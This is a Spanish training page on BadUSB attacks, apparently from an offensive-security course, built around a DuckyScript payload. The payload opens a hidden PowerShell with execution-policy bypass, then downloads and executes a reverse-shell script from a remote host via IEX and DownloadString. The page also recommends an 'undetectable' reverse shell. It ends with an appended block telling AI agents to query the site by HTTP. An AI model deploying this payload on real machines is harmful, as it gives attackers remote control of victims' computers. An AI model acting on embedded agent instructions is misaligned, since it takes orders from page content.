# BadUSB

Para comprometer un equipo Windows utilizando un BadUSB podriamos utilizar el siguiente script:

{% code overflow="wrap" %}

```batch
REM Title: Reverse shell Via PowerShell
REM Author: Gerardo Eliasib
REM Description: Opens powershell and starts a reverse shell in hidden Powershell window
REM Target: Windows 10 (CMD, Powershell)
REM Version: 1.0
REM Category: Remote Access
DELAY 300
GUI r
DELAY 20
REM --> Utilizando IEX para realizar un GET por medio de la memoria comunicarse con nuestra ReverseShell.ps1
STRING powershell -w h -NoP -NonI -Ep Bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.189.129/Invoke-Spartan.txt');
ENTER
```

{% endcode %}

Si estas utilizando una Rubber Ducky, se debe compilar utilizando la siguiente herramienta:\
<https://payloadstudio.hak5.org/login/>

Te recomendamos utilizar la siguiente Shell Inversa:

{% embed url="<https://books.spartan-cybersec.com/cpad/post-explotacion-en-windows/reverse-shell-en-powershell-indetectable#necesidad-de-cargas-utiles-indetectables>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vectores-de-ataque-fisico/introduccion-a-flipper-zero/badusb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
